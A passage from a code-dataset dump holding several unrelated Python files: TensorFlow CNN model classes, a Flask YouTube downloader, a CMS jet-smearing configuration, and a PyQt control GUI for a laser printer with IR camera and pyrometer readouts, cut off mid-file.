models\nMODELS = Registry(\"MuMO_Models\")\n\n# Loss registry\nLOSSES = Registry('Loss Functions')\n\n# Optimizers registry\nOPTIMIZER = Registry('Optimizers')\n\n# Learning rate scheduler:\nLRSCHEDULER = Registry('Learning Rate Schedulers')\n\n# Registry of augmentations\nTRANSFORMS = Registry(\"Transforms\")\nTORCHVISION_TRANS = Registry(\"Transforms from torchvision.transforms\")\nUS_Transforms = Registry(\"Ultrasound Transforms\")\nALBU_TRANS = Registry(\"Transforms from albumentations\")\nTORCHIO_TRANS = Registry(\"Transforms from torchio\")\n\n# Registry of datasets\nDATASETS = Registry(\"Datasets\")\n","repo_name":"NivAm12/segment-anything-medical","sub_path":"utils/builder/registry.py","file_name":"registry.py","file_ext":"py","file_size_in_byte":3535,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"23848096228","text":"from tensorflow.keras import layers, Model, utils\nfrom types import FunctionType\n\n\nclass BaseModelActions(Model):\n \"\"\" BaseModelActions is a class which contains some\n commons procedures related with homework architectures\n blocks\n\n :param size: kernel_size of the model\n :param labels: # of problem classes\n :param init: how the network params should begin\n \"\"\"\n\n def __init__(self, size=(3, 3), labels=250, init='he_normal'):\n\n super(BaseModelActions, self).__init__()\n self.args = dict(kernel_initializer=init, padding='same')\n self.stride = dict(**dict(strides=(2, 2)), **self.args)\n self.pool = dict(pool_size=(3, 3), strides=2)\n self.size, self.labels = size, labels\n\n def scale_reducer(self, _type, previous, filters=64):\n \"\"\"Contains multiples methods to allow us down size the\n image, to added a chain procedure\n\n :param _type: define what kind of scale you need\n :param previous: is a chain container information flow\n :param filters: this is only used for convolution procedure\n :return:\n \"\"\"\n if _type == 'maxpool':\n previous += [layers.MaxPool2D(**self.pool)]\n elif _type == 'stride':\n args = [filters, self.size, self.stride]\n previous += [*self.common_block(*args)]\n elif _type == 'global':\n previous += [layers.GlobalAveragePooling2D()]\n\n @staticmethod\n def common_block(filters, size, args):\n \"\"\" This method contains the basic layer structure\n\n :param filters: # of features maps\n :param size: kernel_size to operate over image\n :param args: contains a dict which help to define the\n behaviour of convolution procedure\n :return: a list with procedures\n \"\"\"\n convolve = layers.Conv2D(filters, size, **args)\n batch_norm = layers.BatchNormalization()\n return [convolve, batch_norm, layers.Activation('relu')]\n\n\nclass PlainNetwork(BaseModelActions):\n \"\"\" Allow us to build a plain neural network using a basic\n building block. This class is useful to build Vgg Models\n in a dynamic way. The most important building block is\n the information flow, which allow to define the steps\n\n :param size: kernel_size of the model\n :param labels: # of problem classes\n :param init: how the network params should begin\n \"\"\"\n\n def __init__(self, size=(3, 3), labels=250, init='he_normal'):\n super(PlainNetwork, self).__init__(size, labels, init)\n self.information_flow = self.build_information_flow()\n\n def add_blocks(self, filters, previous, redux, blocks=4):\n \"\"\" Add dynamically operations over chain information\n flow in order to define the block path in the\n computational graph\n\n :param filters: # of features maps\n :param previous: is a chain container information flow\n which will be edited in this method adding new layers\n based on specifications\n :param redux: down scale operator type\n :param blocks: # of blocks per common filter\n :return:\n \"\"\"\n for feature_maps in filters:\n args = [feature_maps, self.size, self.args]\n for num_of_block in range(blocks):\n previous.extend(self.common_block(*args))\n self.scale_reducer(redux, previous, feature_maps)\n\n def build_information_flow(self):\n \"\"\" Add dynamically operations over chain information\n flow in order to define the steps of the whole\n computational graph procedure\n\n :return: list with all procedures which will be added\n to this model in order to register it in Model tensorflow\n class\n \"\"\"\n steps = list()\n self.scale_reducer('stride', steps, filters=64)\n self.add_blocks([64, 64, 128, 128], steps, 'maxpool')\n self.add_blocks([256], steps, 'global')\n steps += [layers.BatchNormalization()]\n return steps + [layers.Dense(self.labels, 'softmax')]\n\n def call(self, inputs, training=None, mask=None):\n \"\"\"This method define the computational graph path\n\n :param inputs: batch of samples\n :param training: define if the model is training\n of inferring\n :param mask:\n :return: transformed batched\n \"\"\"\n x = inputs\n for i, layer in enumerate(self.information_flow):\n x = layer(x)\n return x\n\n\nclass SkipNetwork(BaseModelActions):\n \"\"\" Generate a dynamically SkipNetwork (a.k.a ResNet),\n the main idea was to build the information flow like\n Plain Network described above and a skip repair procedure\n\n Additionally we introduce a string params called 'st'\n which means storage the input in that point.\n\n :param size: kernel size\n :param labels:# of classes\n :param init: How to initialize kernels or\n features maps\n \"\"\"\n\n def __init__(self, size=(3, 3), labels=250, init='he_normal'):\n super(SkipNetwork, self).__init__(size, labels, init)\n self.information_flow = self.build_information_flow()\n self.skip_repair = self.build_skip_repair_steps()\n\n @staticmethod\n def walking_procedure():\n \"\"\"\n This method define the proposed ResNet network\n architecture defined in the homework\n\n :return:\n \"\"\"\n filters = [64, 64, 128, 128, 128, 128, 256, 256]\n scaling = [True, False] * (len(filters)//2)\n return [64, 64] + filters, [False, False] + scaling\n\n def skip_block(self, maps, down_first=True):\n \"\"\" This building block of ResNet architecture was inspired\n on Identity Mappings in Deep Residual Networks\n or a pre-activation variant of residual block\n arXiv:1603.05027v3,2016.\n\n :param maps: # of features maps\n :param down_first: define if exists a down scale in the\n first convolution layer\n :return: a list with Skip block procedure\n\n \"\"\"\n args = self.stride if down_first else self.args\n steps = [layers.BatchNormalization()]\n steps += [layers.Activation('relu')]\n steps += ['st', *self.common_block(maps, self.size, args)]\n steps += [layers.Conv2D(maps, self.size, **self.args)]\n steps += [layers.add, layers.BatchNormalization()]\n\n return steps + [layers.Activation('relu')]\n\n def build_skip_repair_steps(self):\n \"\"\" Based on the walking_procedure this method add\n a convolution of 1x1 in order to repair the dimensions\n\n :return: a list with the total number of repairs block\n\n \"\"\"\n kw = dict(**dict(strides=(2, 2), **self.args))\n walker = self.walking_procedure()\n return [layers.Conv2D(maps, (1, 1), **kw)\n for maps, scale in zip(*walker) if scale]\n\n def build_information_flow(self):\n \"\"\" Add dynamically operations over chain information\n flow in order to define the steps of the whole\n computational graph procedure\n\n :return: list with all procedures which will be added\n to this model in order to register it in Model tensorflow\n class\n \"\"\"\n steps = list()\n self.scale_reducer('stride', steps, filters=64)\n for filters, scaled in zip(*self.walking_procedure()):\n steps.extend(self.skip_block(filters, scaled))\n self.scale_reducer('global', steps)\n steps += [layers.BatchNormalization()]\n return steps + [layers.Dense(self.labels, 'softmax')]\n\n def call(self, inputs, training=None, mask=None):\n \"\"\"This method define the computational graph path\n and it is called when a batch of images is passed\n through the network\n\n :param inputs: batch of samples\n :param training: define if the model is training\n of inferring\n :param mask:\n :return: transformed batched\n \"\"\"\n\n x, skip, fixer = inputs, None, 0\n for i, event in enumerate(self.information_flow):\n if type(event) == str:\n skip = x # when we to store the input\n elif isinstance(event, FunctionType):\n if skip.shape[1:] != x.shape[1:]:\n skip = self.skip_repair[fixer](skip)\n fixer += 1\n x = event([skip, x]) # add procedure\n else:\n x = event(x) # rest ot the cases\n\n return x\n\n\nclass SqueezeExcitation(SkipNetwork):\n \"\"\" This class builds a dynamically SqueezeExcitation Net\n the model was described int the homework instructions.\n\n The key idea was generate a list with a pre-defined flow\n based on the father of this class.\n\n :param size: kernel size\n :param labels:# of classes\n :param init: How to initialize kernels or\n features maps\n \"\"\"\n\n def __init__(self, size=(3, 3), labels=250, init='he_normal'):\n super(SqueezeExcitation, self).__init__(size, labels, init)\n self.squeeze_options = self.fill_squeeze_procedures()\n\n def fill_squeeze_procedures(self, ratio=.25):\n \"\"\" Allow us to define the fire path in the walking\n procedure. The used patch was inspired in the original\n paper.\n\n :param ratio: quantity which will scale the channels\n of the images blocks\n\n :return:\n \"\"\"\n steps, kw = [], dict(kernel_initializer='he_normal')\n filters, _ = self.walking_procedure()\n for filter_size in filters:\n steps.append([\n layers.GlobalAveragePooling2D(),\n layers.Dense(int(filter_size * ratio), **kw),\n layers.Activation('relu'),\n layers.Dense(filter_size, **kw),\n layers.Activation('sigmoid'),\n layers.multiply])\n\n return steps\n\n def call(self, inputs, training=None, mask=None):\n \"\"\"This method define the computational graph path\n and it is called when a batch of images is passed\n through the network, here is applied the\n skip fixed and fire steps.\n\n :param inputs: batch of samples\n :param training: define if the model is training\n of inferring\n :param mask:\n :return: transformed batched\n \"\"\"\n x, skip, fixers, sq = inputs, None, 0, 0\n\n for i, event in enumerate(self.information_flow):\n if type(event) == str:\n skip = x # when we to store the input\n elif isinstance(event, FunctionType):\n # init squeeze operations\n _x = x\n for squeeze in self.squeeze_options[sq][:-1]:\n x = squeeze(x)\n x = self.squeeze_options[sq][-1]([_x, x])\n # end the squeeze operations with multiplication\n sq += 1\n if skip.shape[1:] != x.shape[1:]:\n skip = self.skip_repair[fixers](skip)\n fixers += 1\n\n x = event([skip, x]) # add ResNet procedure\n else:\n x = event(x) # rest ot the cases\n\n return x\n\n\nMODELS = dict(Vgg=PlainNetwork)\nMODELS.__setitem__('ResNet', SkipNetwork)\nMODELS.__setitem__('SqueezeExcitation', SqueezeExcitation)","repo_name":"jthoth/sketchClassification","sub_path":"src/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":11248,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"16166618139","text":"from pytube import YouTube\r\nfrom flask import Flask, session, url_for, send_file, render_template, redirect, request\r\nfrom io import BytesIO\r\n\r\napp = Flask(__name__)\r\napp.config[\"SECRET_KEY\"] = \"my_secret_key\"\r\n\r\n@app.route(\"/\", methods=[\"POST\", \"GET\"])\r\ndef index():\r\n if request.method == \"POST\":\r\n session[\"link\"] = request.form.get(\"url\")\r\n url = YouTube(session[\"link\"])\r\n url.check_availability()\r\n return render_template(\"download.html\", url=url)\r\n\r\n return render_template('index.html')\r\n\r\n@app.route(\"/audio/\", methods=[\"GET\"])\r\ndef audio(video_id):\r\n youtube_link = f\"https://www.youtube.com/watch?v={video_id}\"\r\n buffer = BytesIO()\r\n url = YouTube(youtube_link)\r\n audio_stream = url.streams.filter(only_audio=True).first()\r\n\r\n if audio_stream:\r\n audio_stream.stream_to_buffer(buffer)\r\n buffer.seek(0)\r\n\r\n return send_file(buffer, as_attachment=True, download_name=f\"{url.title}.mp3\", mimetype=\"audio/mpeg\")\r\n\r\n return \"Invalid or missing YouTube link parameter.\"\r\n\r\n@app.route(\"/download\", methods=[\"GET\"])\r\ndef download():\r\n youtube_link = request.args.get(\"url\")\r\n if youtube_link:\r\n buffer = BytesIO()\r\n url = YouTube(youtube_link)\r\n video = url.streams.get_highest_resolution()\r\n\r\n # Stream the video to the buffer\r\n video.stream_to_buffer(buffer)\r\n buffer.seek(0)\r\n\r\n return send_file(buffer, as_attachment=True, download_name=video.title, mimetype=video.mime_type)\r\n\r\n return \"Invalid or missing YouTube link parameter.\"\r\n\r\nif __name__ == '__main__':\r\n app.run(debug=True)\r\n\r\n\r\n\r\n","repo_name":"vivek649/vfy-dl-srever","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1641,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"22957192352","text":"import FWCore.ParameterSet.Config as cms\r\n\r\nSmearedPATJetProducer = cms.EDProducer(\"SmearedPATJetProducer\",\r\n src = cms.InputTag(\"slimmedJets\"),\r\n enabled = cms.bool(True),\r\n store_factor = cms.bool(False),\r\n rho = cms.InputTag(\"fixedGridRhoFastjetAll\"),\r\n skipGenMatching = cms.bool(False),\r\n # Read from GT\r\n algopt = cms.string('AK4PFchs_pt'),\r\n algo = cms.string('AK4PFchs'),\r\n # Gen jet matching\r\n genJets = cms.InputTag(\"slimmedGenJets\"),\r\n dRMax = cms.double(0.2),\r\n dPtMaxFactor = cms.double(3),\r\n variation = cms.int32(0),\r\n seed = cms.uint32(37428479),\r\n useDeterministicSeed = cms.bool(True),\r\n)\r\n","repo_name":"TreeMaker/TreeMaker","sub_path":"Utils/python/smearedpatjet_cfi.py","file_name":"smearedpatjet_cfi.py","file_ext":"py","file_size_in_byte":653,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"31"} +{"seq_id":"42823116652","text":"import sys\nfrom turtle import position\nfrom PyQt5.QtWidgets import *\nfrom PyQt5.QtCore import Qt\nfrom matplotlib.backends.backend_qt5agg import FigureCanvasQTAgg as FigureCanvas\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport LaserComms\nimport IRCam\nimport Pyrometer\nimport PrinterGUIFormat\nimport SavetoSQL\nimport datetime\n\n# Global Variables to control button states, 0 = OFF\nglobal GUIDE_BEAM_STATE\nglobal LASER_BEAM_STATE\nglobal PYRO_GB_STATE\nglobal CAM_CONNECT_STATE\nglobal IR_PLOT_STATE\nglobal SAMPLING_FREQ # Sample frequency of data collection\nGUIDE_BEAM_STATE = 0\nLASER_BEAM_STATE = 0\nPYRO_GB_STATE = 0\nCAM_CONNECT_STATE = 0\nIR_PLOT_STATE = 0\nSAMPLING_FREQ = 0.1 # Sampling frequency set at 0.1, works smootly when only 2/3 devices are running. When commands are sent to all three, laser box, pyrometer, IR cam, there is some lag in the display.\n\n# Global Variables to log data for pyrometer and IRCam\nglobal pyroIndex\nglobal pyrotimeArr\nglobal pyrotempArr\nglobal pyroCPUtime\nglobal IRIndex\nglobal IRtimeArr\nglobal IRtempArr\nglobal IRCPUtime\n\npyroIndex = 0.0\nIRIndex = SAMPLING_FREQ # IRIndex starts at sampling frequency because the start condition for the index is if pyroIndex is > 0. So they will sync when IRIndex starts one sampling frequency ahead of 0\npyrotimeArr = []\npyrotempArr = []\npyroCPUtime = []\nIRtimeArr = []\nIRtempArr = []\nIRCPUtime = []\n\nclass Window(QWidget):\n def __init__(self):\n super().__init__()\n self.setGeometry(150,75,1620,930) #Starting Window Size\n self.setWindowTitle(\"DLD Printer GUI\")\n\n self.UI() # Executes UI\n self.show() \n\n def UI(self):\n self.widgets() # Creates widgets\n self.layouts() # Defines and places layouts and widgets\n self.threads() # Starts threads that are run in the background\n self.setSampleFreq() # Sets the sample frequency in the IRCam.py and Pyrometer.py files\n\n################################################################# WIDGETS ######################################################################\n\n def widgets(self):\n # Laser Button Widget (Top Left Layout)\n self.laserHeaderText = QLabel(\"Laser Set Power (0-500 W):\")\n self.powerSlider = QSlider(Qt.Horizontal)\n self.powerSlider.setMinimum(0)\n self.powerSlider.setMaximum(500)\n self.powerSlider.setTickInterval(25)\n self.powerSlider.setTickPosition(QSlider.TicksAbove)\n self.powerSlider.valueChanged.connect(self.powerSliderInput)\n self.powerInput = QLineEdit()\n self.powerInput.setMaximumSize(60,30)\n self.powerInput.returnPressed.connect(self.setPower)\n self.deliveredPowerText = QLabel(\"Laser Deliviered Power (W):\")\n self.deliveredPowerReading = QLineEdit()\n self.deliveredPowerReading.setMaximumSize(60,30)\n self.deliveredPowerReading.setReadOnly(True)\n self.laserTempText = QLabel(\"Temperature (Celsius):\")\n self.laserTempReading = QLineEdit()\n self.laserTempReading.setMaximumSize(60,30)\n self.laserTempReading.setReadOnly(True)\n self.guideBeamText = QLabel(\"Guide Beam:\")\n self.guideBeamText.setAlignment(Qt.AlignCenter)\n self.guideBeamButton = QPushButton(\"OFF\")\n self.guideBeamButton.setStyleSheet(PrinterGUIFormat.OFFButtonStyle())\n self.guideBeamButton.clicked.connect(self.guideBeamState)\n self.laserBeamText = QLabel(\"Laser Beam:\")\n self.laserBeamText.setAlignment(Qt.AlignCenter)\n self.laserBeamButton = QPushButton(\"OFF\")\n self.laserBeamButton.setStyleSheet(PrinterGUIFormat.OFFButtonStyle())\n self.laserBeamButton.clicked.connect(self.laserBeamState)\n self.cmdLineText = QLabel(\"Command Line:\")\n self.cmdLineInput = QLineEdit()\n self.cmdLineInput.setMaximumHeight(30)\n self.cmdLineInput.returnPressed.connect(self.cmdInput)\n self.responseLineText = QLabel(\"Response:\")\n\n # IR Camera Display (Top Right Layout)\n self.IRCamFigure = plt.figure()\n self.IRCamCanvas = FigureCanvas(self.IRCamFigure)\n\n # Pyrometer Display (Bottom Left Layout)\n self.pyrometerFigure = plt.figure()\n self.pyrometerCanvas = FigureCanvas(self.pyrometerFigure)\n\n # Camera Button Widget (Bottom Right Layout)\n self.IRCamText = QLabel(\"IR Camera Display:\")\n self.IRCamDispButton = QPushButton(\"Display\")\n self.IRCamDispButton.clicked.connect(self.dispIRImg)\n self.IRCamConnectButton = QPushButton(\"Connect\")\n self.IRCamConnectButton.clicked.connect(self.startIRCam)\n self.pyrometerText = QLabel(\"Pyrometer Display:\")\n self.pyrometerStartButton = QPushButton(\"Start\")\n self.pyrometerStartButton.clicked.connect(self.startPyrometer)\n self.pyrometerStopButton = QPushButton(\"Stop\")\n self.pyrometerStopButton.clicked.connect(self.stopPyrometer)\n self.pyrometerLaserButton = QPushButton(\"Guide: OFF\")\n self.pyrometerLaserButton.setStyleSheet(PrinterGUIFormat.OFFButtonStyle())\n self.pyrometerLaserButton.clicked.connect(self.pyroBeamState)\n self.pyrometerClearButton = QPushButton(\"Clear\")\n self.pyrometerClearButton.clicked.connect(self.clearPyroData)\n self.pyrometerSpacer = QLabel(\" \")\n\n################################################################# LAYOUTS ######################################################################\n\n def layouts(self):\n # Defining Layouts\n self.mainLayout = QVBoxLayout()\n self.topLayout = QHBoxLayout()\n self.botLayout = QHBoxLayout()\n \n # Main Layout Divisions\n self.topLeftLayout = QVBoxLayout()\n self.laserButtonTopLayout = QGridLayout()\n self.laserButtonBotLayout = QGridLayout()\n self.laserButtonFormLayout = QFormLayout()\n self.IRCamDispLayout = QVBoxLayout()\n self.topRightFrame = QFrame()\n self.topRightFrame.setStyleSheet(PrinterGUIFormat.TopRightFrame())\n self.topRightFrame.setLayout(self.IRCamDispLayout)\n self.pyroDispLayout = QVBoxLayout()\n self.botLeftFrame = QFrame()\n self.botLeftFrame.setStyleSheet(PrinterGUIFormat.botLeftFrame())\n self.botLeftFrame.setLayout(self.pyroDispLayout)\n self.botRightLayout = QVBoxLayout()\n self.camButtonLayout = QGridLayout()\n\n ###################################################### Laser Button Layout (Top Left Layout) #################################################\n \n # First Row\n self.topLeftLayout.addStretch()\n self.laserButtonTopLayout.addWidget(self.laserHeaderText,0,0)\n self.laserButtonTopLayout.addWidget(self.powerInput,0,1)\n self.laserButtonTopLayout.setAlignment(Qt.AlignLeft)\n self.topLeftLayout.addLayout(self.laserButtonTopLayout)\n\n # Second Row\n self.topLeftLayout.addWidget(self.powerSlider) \n\n # Third Row\n self.laserButtonBotLayout.addWidget(self.deliveredPowerText,0,0)\n self.laserButtonBotLayout.addWidget(self.deliveredPowerReading,0,1)\n self.laserButtonBotLayout.addWidget(self.guideBeamText,0,2)\n self.laserButtonBotLayout.addWidget(self.laserBeamText,0,3)\n\n # Fourth Row\n self.laserButtonBotLayout.addWidget(self.laserTempText,1,0)\n self.laserButtonBotLayout.addWidget(self.laserTempReading,1,1)\n self.laserButtonBotLayout.addWidget(self.guideBeamButton,1,2)\n self.laserButtonBotLayout.addWidget(self.laserBeamButton,1,3)\n self.topLeftLayout.addLayout(self.laserButtonBotLayout)\n\n # Fifth Row\n self.laserButtonFormLayout.addRow(self.cmdLineText,self.cmdLineInput)\n self.laserButtonFormLayout.addRow(self.responseLineText)\n self.topLeftLayout.addLayout(self.laserButtonFormLayout)\n self.topLeftLayout.addStretch()\n \n #################################################### IR Camera Display (Top Right Layout) ###################################################\n self.IRCamDispLayout.addWidget(self.IRCamCanvas)\n #Testing the layout size\n IRMap = np.random.random((64,64))*4000\n self.IRCamFigure.clear()\n ax1 = self.IRCamFigure.add_subplot(111)\n ax1.set_xticks([0,10,20,30,40,50,60])\n ax1.set_xticklabels([0,100,200,300,400,500,600])\n ax1.set_yticks([60,50,40,30,20,10,0])\n ax1.set_yticklabels([0,100,200,300,400,500,600])\n ax1.set_title(\"IR Camera\")\n ax1.set_xlabel(\"Pixels\")\n ax1.set_ylabel(\"Pixels\")\n im1 = ax1.imshow(IRMap, interpolation = 'nearest', cmap='inferno') # Inferno can be changed to another color map\n self.IRCamFigure.subplots_adjust(right=0.8) # Making room for colorbar\n color_bar_ax = self.IRCamFigure.add_axes([0.85, 0.15, 0.05, 0.7]) # Setting colorbar\n self.IRCamFigure.colorbar(im1,color_bar_ax)\n self.IRCamCanvas.draw()\n\n #################################################### Pyrometer Display (Bottom Left Layout) #################################################\n self.pyroDispLayout.addWidget(self.pyrometerCanvas)\n #Testing the layout size\n self.pyrometerFigure.clear()\n ax2 = self.pyrometerFigure.add_subplot(111)\n pyrotimeArr = [0,1,2,3,4,5]\n pyrotempArr = [10.1,10.2,10.0,10.2,9.9,10.1]\n ax2.set_title(\"Pyrometer\")\n ax2.set_ylabel(\"Temperature (°C)\")\n ax2.set_xlabel(\"Time (s)\")\n ax2.plot(pyrotimeArr,pyrotempArr)\n self.pyrometerCanvas.draw()\n\n #################################################### Camera Button Grid (Bottom Right Layout) #############################################\n self.camButtonLayout.addWidget(self.IRCamText,0,0)\n self.camButtonLayout.addWidget(self.IRCamDispButton,1,0)\n self.camButtonLayout.addWidget(self.IRCamConnectButton,1,1)\n self.camButtonLayout.addWidget(self.pyrometerText,2,0)\n self.camButtonLayout.addWidget(self.pyrometerStartButton,3,0)\n self.camButtonLayout.addWidget(self.pyrometerStopButton,3,1)\n self.camButtonLayout.addWidget(self.pyrometerLaserButton,4,0)\n self.camButtonLayout.addWidget(self.pyrometerClearButton,4,1)\n self.camButtonLayout.addWidget(self.pyrometerSpacer,5,0)\n self.botRightLayout.addLayout(self.camButtonLayout)\n\n # Placing Layouts\n self.topLayout.addLayout(self.topLeftLayout,70)\n self.topLayout.addWidget(self.topRightFrame,30)\n self.botLayout.addWidget(self.botLeftFrame,70)\n self.botLayout.addLayout(self.botRightLayout,30)\n\n self.mainLayout.addLayout(self.topLayout)\n self.mainLayout.addLayout(self.botLayout)\n\n self.setLayout(self.mainLayout)\n self.setMinimumWidth(900)\n\n################################################################# MULTI-THREADS #####################################################################\n\n def threads(self):\n self.laserBoxReadings = LaserComms.readLaserBoxData()\n self.laserBoxReadings.start()\n self.laserBoxReadings.getTempData.connect(self.displayLaserTemp) # Continuous reading of laser head temperature\n self.laserBoxReadings.getPowerData.connect(self.displayLaserPower) # Continuous reading of laser output power\n # Threads found in other sections of code, control F the following functions to find that section of code\n # self.IRCam = IRCam.runCamera() #starts the IRCam thread\n # self.pyrometer = Pyrometer.connectPyro() #starts the pyrometer\n # self.saveData = SavetoSQL.saveData() # Saves and commits data\n\n################################################################ BEAM ON/OFF FUNCTIONS ##############################################################\n\n def guideBeamState(self): # Keeps the state of the laser guide beam button on the GUI, either ON/1 or OFF/0. Function is called when guide beam button is pressed\n global GUIDE_BEAM_STATE\n\n if GUIDE_BEAM_STATE == 0:\n GUIDE_BEAM_STATE = 1\n self.guideBeamButton.setText(\"ON\")\n self.guideBeamButton.setStyleSheet(PrinterGUIFormat.ONButtonStyle())\n reply = LaserComms.sendCmd(\"ABN\") # sends the command to the laser box to turn on guide beam \n elif GUIDE_BEAM_STATE == 1:\n GUIDE_BEAM_STATE = 0\n self.guideBeamButton.setText(\"OFF\")\n self.guideBeamButton.setStyleSheet(PrinterGUIFormat.OFFButtonStyle())\n reply = LaserComms.sendCmd(\"ABF\") # sends the command to turn off guide beam\n\n if reply == \"ERROR\": # Throws an error if unable to coneect to laser box\n laserBoxWarning = QMessageBox.information(self,\"Warning\",\"Server Timeout. No Laser Box Detected.\")\n\n def laserBeamState(self): # Keeps the state of the laser button on the GUI, ON/1 and OFF/0. Function called when laser beam button is pressed\n global LASER_BEAM_STATE\n # same structure as the guide beam code above\n if LASER_BEAM_STATE == 0:\n LASER_BEAM_STATE = 1\n self.laserBeamButton.setText(\"ON\")\n self.laserBeamButton.setStyleSheet(PrinterGUIFormat.ONButtonStyle())\n reply = LaserComms.sendCmd(\"EMON\")\n elif LASER_BEAM_STATE == 1:\n LASER_BEAM_STATE = 0\n self.laserBeamButton.setText(\"OFF\")\n self.laserBeamButton.setStyleSheet(PrinterGUIFormat.OFFButtonStyle())\n reply = LaserComms.sendCmd(\"EMOFF\")\n\n if reply == \"ERROR\":\n laserBoxWarning = QMessageBox.information(self,\"Warning\",\"Server Timeout. No Laser Box Detected.\")\n\n def pyroBeamState(self): # Keeps the state of the pyrometer guide beam button on the GUI\n global PYRO_GB_STATE\n\n if PYRO_GB_STATE == 0:\n Pyrometer.guidebeam(True) # updates the pyrometer guide beam state on the pyrometer sheet\n PYRO_GB_STATE = 1\n self.pyrometerLaserButton.setText(\"Guide: ON\")\n self.pyrometerLaserButton.setStyleSheet(PrinterGUIFormat.ONButtonStyle())\n elif PYRO_GB_STATE == 1:\n Pyrometer.guidebeam(False)\n PYRO_GB_STATE = 0\n self.pyrometerLaserButton.setText(\"Guide: OFF\")\n self.pyrometerLaserButton.setStyleSheet(PrinterGUIFormat.OFFButtonStyle())\n\n################################################################## POWER SLIDER FUNCTIONS ##########################################################\n\n def powerSliderInput(self): # Changes laser power and adjusts display on the reading input to match\n # function run when slider input is changed\n inputPower = self.powerSlider.value() # gets value from slider\n self.powerInput.setText(str(inputPower))\n inputPowerPercent = round((inputPower/5),1) # % is power/500\n msg = (f\"SDC {str(inputPowerPercent)}\") # converts the slider input to a string\n reply = LaserComms.sendCmd(msg) # sends the string as a command to the laser box\n\n if reply == \"ERROR\": # if error, alert the user\n laserBoxWarning = QMessageBox.information(self,\"Warning\",\"Server Timeout. No Laser Box Detected.\")\n\n def setPower(self): # Changes laser power and adjusts display on the slider to match\n # function run when return is pressed in the set power text box, function is the same as the slider funtion above\n inputPower = self.powerInput.text()\n self.powerSlider.setValue(int(inputPower))\n inputPowerPercent = round((int(inputPower)/5),1)\n msg = (f\"SDC {str(inputPowerPercent)}\")\n reply = LaserComms.sendCmd(msg)\n\n if reply == \"ERROR\":\n laserBoxWarning = QMessageBox.information(self,\"Warning\",\"Server Timeout. No Laser Box Detected.\")\n\n################################################################## COMMAND LINE & READ FUNCTIONS ##########################################################\n\n def cmdInput(self): # Allows user to send any command found in the manual. A response of BCMD indicates unknown command\n # function executes when return is pressed in the command line box\n msg = self.cmdLineInput.text() # gets message from command line\n response = LaserComms.sendCmd(msg) # sends message\n self.cmdLineInput.clear()\n self.responseLineText.setText(f\"Response: {response}\") # gets and prints response\n\n if response == \"ERROR\": # if error, alert the user\n laserBoxWarning = QMessageBox.information(self,\"Warning\",\"Server Timeout. No Laser Box Detected.\")\n \n def displayLaserTemp(self,temp): # Reads and displays the laser head temperature\n self.laserTempReading.setText(temp) # constantly reads laser head temperature\n\n def displayLaserPower(self,power): # Reads and displays the delivered laser power\n self.deliveredPowerReading.setText(power) # constantly reads delievered power\n\n################################################################### IR CAMERA FUNCTIONS ###################################################################\n\n def startIRCam(self):\n global CAM_CONNECT_STATE\n\n if CAM_CONNECT_STATE == 0:\n try:\n print(\"searching\")\n self.IRCam = IRCam.runCamera() #starts the IRCam thread\n self.IRCam.start()\n self.IRCam.getConnectState.connect(self.changeIRConnectState) # if camera connects, change the connection state to ON/1\n self.IRCam.getImgData.connect(self.plotIRImg) # when camera returns img data, plot the data\n except:\n CAM_CONNECT_STATE = 0 # if connection failed, alert user\n IRCamWarning = QMessageBox.information(self,\"Warning\",\"No Camera Detected. Please Retry. \")\n\n def dispIRImg(self): # Turns on the image display feed, changes the state of the IR cam button\n global IR_PLOT_STATE\n\n if IR_PLOT_STATE == 0:\n self.IRCamDispButton.setText(\"Pause\")\n IR_PLOT_STATE = 1\n print(\"starting feed\")\n\n else:\n self.IRCamDispButton.setText(\"Display\")\n IR_PLOT_STATE = 0\n print(\"stopping feed\")\n\n def plotIRImg(self,IRMap): # Image display feed\n global IR_PLOT_STATE\n global pyroIndex\n global IRIndex\n global IRtimeArr\n global IRtempArr\n print(IRMap)\n IRMapScaled = (IRMap - np.min(IRMap))/(np.max(IRMap)-np.min(IRMap))*4000 # Scales the heat map to somewhat match temperatures. To be more accurate 4000 can be replaced with a variable which contains the max temp read by the pyrometer\n\n # val = pyroIndex - IRIndex # For testing the lag between indices\n # print(val)\n\n if pyroIndex > 0: # if the pyrometer has started logging data, start the IR cam data logging\n now = datetime.datetime.now()\n IRCPUtime.append(now) # gets the CPU time for reliability verification \n IRtimeArr.append(IRIndex) # appends the index which represents the time step\n IRtempArr.append(IRMapScaled) # appends the IR map array\n IRIndex += SAMPLING_FREQ # increases time step\n\n\n if IR_PLOT_STATE == 1:\n min = 0 # These are the min and max values of the img array. The image matrix is normalized to show temps between 0 and 4000\n max = 4000\n self.IRCamFigure.clear()\n # set figure labels\n ax1 = self.IRCamFigure.add_subplot(111) \n ax1.set_xticks([0,10,20,30,40,50,60])\n ax1.set_xticklabels([0,100,200,300,400,500,600])\n ax1.set_yticks([60,50,40,30,20,10,0])\n ax1.set_yticklabels([0,100,200,300,400,500,600])\n ax1.set_title(\"IR Camera\")\n ax1.set_xlabel(\"Pixels\")\n ax1.set_ylabel(\"Pixels\")\n # plots the IR map and the color bar\n im1 = ax1.imshow(IRMapScaled, vmin = min, vmax = max, interpolation = 'nearest', cmap='inferno') # Inferno can be changed to another color map\n self.IRCamFigure.subplots_adjust(right=0.8)\n color_bar_ax = self.IRCamFigure.add_axes([0.85, 0.15, 0.05, 0.7]) # adds the colorbar\n self.IRCamFigure.colorbar(im1,color_bar_ax)\n self.IRCamCanvas.draw()\n\n def changeIRConnectState(self,state): # Changes the text on the connect button once camera is successfully connected\n if state == 1:\n self.IRCamConnectButton.setText(\"Connected\")\n elif state == 0:\n self.IRCamConnectButton.setText(\"Connect\")\n IRCamWarning = QMessageBox.information(self,\"Warning\",\"No Camera Detected. Please Retry. \")\n\n\n################################################################### PYROMETER FUNCTIONS ###################################################################\n\n def startPyrometer(self):\n Pyrometer.updateChannelStatus(1) # Lets the child thread know the pyrometer is on\n self.pyrometer = Pyrometer.connectPyro() # Starts pyrometer data logging\n self.pyrometer.start()\n 